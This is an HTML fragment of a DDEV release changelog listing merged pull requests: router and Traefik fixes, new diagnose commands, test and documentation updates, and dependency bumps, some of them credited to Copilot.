<li>fix: show correct project name in <code>ddev mutagen st</code>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3753387591" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7969" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7969/hovercard" href="https://github.com/ddev/ddev/issues/7969">#7969</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3753474436" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7970" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7970/hovercard" href="https://github.com/ddev/ddev/pull/7970">#7970</a></li>
<li>test(buildkite): Use colima stop -f to force stop [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3758779244" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7977" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7977/hovercard" href="https://github.com/ddev/ddev/pull/7977">#7977</a></li>
<li>docs: add cloudflare warp networking instructions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lguigo22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lguigo22">@lguigo22</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3756979012" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7975" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7975/hovercard" href="https://github.com/ddev/ddev/pull/7975">#7975</a></li>
<li>docs: lima template creation for users [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3765100578" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7985" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7985/hovercard" href="https://github.com/ddev/ddev/pull/7985">#7985</a></li>
<li>docs(developer): Update template syntax for lima in developer docs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3765099554" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7984" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7984/hovercard" href="https://github.com/ddev/ddev/pull/7984">#7984</a></li>
<li>test: show ddev version at start of tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3765028533" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7983" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7983/hovercard" href="https://github.com/ddev/ddev/pull/7983">#7983</a></li>
<li>fix(traefik): Convert Traefik configuration errors to warnings instead of failures by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3751597410" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7967" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7967/hovercard" href="https://github.com/ddev/ddev/pull/7967">#7967</a></li>
<li>fix(test): Force TestDownloadFileRetryLogic to work even if DDEV_DEBUG wasn't set [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3765149784" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7986" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7986/hovercard" href="https://github.com/ddev/ddev/pull/7986">#7986</a></li>
<li>refactor: systematize #ddev-generated signature checking by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3764929539" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7982" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7982/hovercard" href="https://github.com/ddev/ddev/pull/7982">#7982</a></li>
<li>feat: Add <code>ddev utility mutagen-diagnose</code> command for Mutagen troubleshooting, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3538536243" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7740" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7740/hovercard" href="https://github.com/ddev/ddev/issues/7740">#7740</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3765952291" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7988" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7988/hovercard" href="https://github.com/ddev/ddev/pull/7988">#7988</a></li>
<li>fix(router): Improve Traefik healthcheck for better router verification by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3764922813" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7981" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7981/hovercard" href="https://github.com/ddev/ddev/pull/7981">#7981</a></li>
<li>test(buildkite): Clean up lima and colima containers at start by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3782674572" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8006" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8006/hovercard" href="https://github.com/ddev/ddev/pull/8006">#8006</a></li>
<li>test(github): Allow skipping github tests with [skip github] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3783024777" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8007" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8007/hovercard" href="https://github.com/ddev/ddev/pull/8007">#8007</a></li>
<li>fix(router): Prevent unnecessary router re-creation when bound ports unchanged, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2644155987" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6703" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6703/hovercard" href="https://github.com/ddev/ddev/issues/6703">#6703</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3770381899" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7992" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7992/hovercard" href="https://github.com/ddev/ddev/pull/7992">#7992</a></li>
<li>fix(composer): warn that global and self-update changes don't persist, use <code>stable</code> for empty <code>composer_version</code>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3772425983" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7993" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7993/hovercard" href="https://github.com/ddev/ddev/issues/7993">#7993</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3772755620" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7995" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7995/hovercard" href="https://github.com/ddev/ddev/pull/7995">#7995</a></li>
<li>feat: add <code>--no-cache</code> flag for <code>ddev start</code> and <code>ddev restart</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3776267513" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7999" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7999/hovercard" href="https://github.com/ddev/ddev/pull/7999">#7999</a></li>
<li>fix(router): healthcheck after new config must happen as normal user by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3789985132" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8010" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8010/hovercard" href="https://github.com/ddev/ddev/pull/8010">#8010</a></li>
<li>test(traefik): improve reliability of traefik.bats router API tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3794407933" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8013" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8013/hovercard" href="https://github.com/ddev/ddev/pull/8013">#8013</a></li>
<li>docs: separate CLAUDE.md from AGENTS.md with focused content by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shaal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shaal">@shaal</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3793577139" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8011" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8011/hovercard" href="https://github.com/ddev/ddev/pull/8011">#8011</a></li>
<li>feat: include additional ssh config files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codebymikey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codebymikey">@codebymikey</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3789513134" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8008" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8008/hovercard" href="https://github.com/ddev/ddev/pull/8008">#8008</a></li>
<li>fix(tests): make GitHub release downloads more resilient [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3797908891" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8015" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8015/hovercard" href="https://github.com/ddev/ddev/pull/8015">#8015</a></li>
<li>chore(codespaces): Use newer test project for codespaces, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3801291888" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8017" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8017/hovercard" href="https://github.com/ddev/ddev/issues/8017">#8017</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3806578177" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8022" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8022/hovercard" href="https://github.com/ddev/ddev/pull/8022">#8022</a></li>
<li>docs: Update Ibexa DXP install by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adriendupuis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adriendupuis">@adriendupuis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3805274672" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8021" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8021/hovercard" href="https://github.com/ddev/ddev/pull/8021">#8021</a></li>
<li>test: Disable long-running tests when GOTEST_SHORT is set, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3814257730" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8026" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8026/hovercard" href="https://github.com/ddev/ddev/issues/8026">#8026</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3814695320" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8028" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8028/hovercard" href="https://github.com/ddev/ddev/pull/8028">#8028</a></li>
<li>build(docker-compose): Bump docker-compose to v5.0.1 before release by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3814852853" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8031" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8031/hovercard" href="https://github.com/ddev/ddev/pull/8031">#8031</a></li>
<li>test(docker): Add Docker CE container cleanup for WSL instances, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3814823179" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8029" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8029/hovercard" href="https://github.com/ddev/ddev/issues/8029">#8029</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3814825356" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8030" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8030/hovercard" href="https://github.com/ddev/ddev/pull/8030">#8030</a></li>
<li>fix: prevent panic during <code>ddev poweroff</code> or use of container.Names[0], fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3811380435" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8024" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8024/hovercard" href="https://github.com/ddev/ddev/issues/8024">#8024</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3814633137" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8027" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8027/hovercard" href="https://github.com/ddev/ddev/pull/8027">#8027</a></li>
<li>docs(xdebug): Add step-debugging.md endpoint security notes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joelpittet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joelpittet">@joelpittet</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3777521549" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8002" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8002/hovercard" href="https://github.com/ddev/ddev/pull/8002">#8002</a></li>
<li>feat(codeigniter): add CodeIgniter 4 app type, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3068326488" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7303" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7303/hovercard" href="https://github.com/ddev/ddev/issues/7303">#7303</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Franky5831/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Franky5831">@Franky5831</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3622910076" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7853" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7853/hovercard" href="https://github.com/ddev/ddev/pull/7853">#7853</a></li>
<li>fix(composer): run post-create-project-cmd for plugin events by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3819196336" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8039" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8039/hovercard" href="https://github.com/ddev/ddev/pull/8039">#8039</a></li>
<li>fix: sort web_extra_exposed_ports for router port matching in generic webserver, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3434139793" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7640" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7640/hovercard" href="https://github.com/ddev/ddev/issues/7640">#7640</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3822882288" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8040" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8040/hovercard" href="https://github.com/ddev/ddev/pull/8040">#8040</a></li>
<li>feat(xdebug-diagnose): Add <code>ddev utility xdebug-diagnose</code> command with interactive mode and WSL2 support by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3778517084" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8004" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8004/hovercard" href="https://github.com/ddev/ddev/pull/8004">#8004</a></li>
<li>fix: exclude paused/stopped projects from router's Traefik configuration by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3748548051" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7961" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7961/hovercard" href="https://github.com/ddev/ddev/pull/7961">#7961</a></li>
<li>test(quickstart): fix TYPO3 v14 test [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3834544982" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8044" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8044/hovercard" href="https://github.com/ddev/ddev/pull/8044">#8044</a></li>
<li>fix(pause): resolve race condition in app.Pause() causing intermittent test failures by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3834117681" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8043" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8043/hovercard" href="https://github.com/ddev/ddev/pull/8043">#8043</a></li>
<li>feat(devcontainer): Add more explicit support for non-codespaces devcontainer, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3063729923" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7294" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7294/hovercard" href="https://github.com/ddev/ddev/issues/7294">#7294</a>, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3634176464" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7876" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7876/hovercard" href="https://github.com/ddev/ddev/issues/7876">#7876</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3801324251" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8018" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8018/hovercard" href="https://github.com/ddev/ddev/issues/8018">#8018</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3815143833" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8032" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8032/hovercard" href="https://github.com/ddev/ddev/pull/8032">#8032</a></li>
<li>fix: pull all app images at once, initialize XHGui ports and mode if empty, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3811346250" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8023" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8023/hovercard" href="https://github.com/ddev/ddev/issues/8023">#8023</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3838723636" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8046" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8046/hovercard" href="https://github.com/ddev/ddev/pull/8046">#8046</a></li>
<li>fix(webserver): better log-stderr.sh reporting, remove trixie-backports by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3833225571" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8042" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8042/hovercard" href="https://github.com/ddev/ddev/pull/8042">#8042</a></li>
<li>build(deps): bump go.mod and docker-compose to v5.0.2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3837948652" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8045" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8045/hovercard" href="https://github.com/ddev/ddev/pull/8045">#8045</a></li>
<li>test(quickstart): add Wagtail (Django) Python, remove FrankenPHP by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3842725618" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8049" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8049/hovercard" href="https://github.com/ddev/ddev/pull/8049">#8049</a></li>
<li>fix(cakephp): add new variable APP_FULL_BASE_URL to .env file by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ajibarra/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ajibarra">@ajibarra</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3842577307" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8048" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8048/hovercard" href="https://github.com/ddev/ddev/pull/8048">#8048</a></li>
<li>fix(poweroff): Skip poweroff prompt when containers already stopped during version upgrade by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3848144775" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8052" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8052/hovercard" href="https://github.com/ddev/ddev/pull/8052">#8052</a></li>
<li>fix(router): Fix ephemeral port allocation when router is unhealthy, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3830836096" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8041" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8041/hovercard" href="https://github.com/ddev/ddev/issues/8041">#8041</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3847851352" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8051" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8051/hovercard" href="https://github.com/ddev/ddev/pull/8051">#8051</a></li>
<li>feat(add-ons): Use addons.json to avoid GitHub API rate limits, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3508049094" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7707" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7707/hovercard" href="https://github.com/ddev/ddev/issues/7707">#7707</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3760928582" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7978" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7978/hovercard" href="https://github.com/ddev/ddev/pull/7978">#7978</a></li>
<li>build(deps): bump actions/setup-python from 6.1.0 to 6.2.0 by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3856858704" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8059" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8059/hovercard" href="https://github.com/ddev/ddev/pull/8059">#8059</a></li>
<li>docs: Update Lagoon provider instructions with sync config, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3768525805" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7990" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7990/hovercard" href="https://github.com/ddev/ddev/issues/7990">#7990</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/froboy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/froboy">@froboy</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3768528261" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7991" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7991/hovercard" href="https://github.com/ddev/ddev/pull/7991">#7991</a></li>
<li>test(quickstart): disable symfony tests, update Laravel SQLite, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3855739168" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8058" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8058/hovercard" href="https://github.com/ddev/ddev/issues/8058">#8058</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3861011927" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8060" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8060/hovercard" href="https://github.com/ddev/ddev/pull/8060">#8060</a></li>
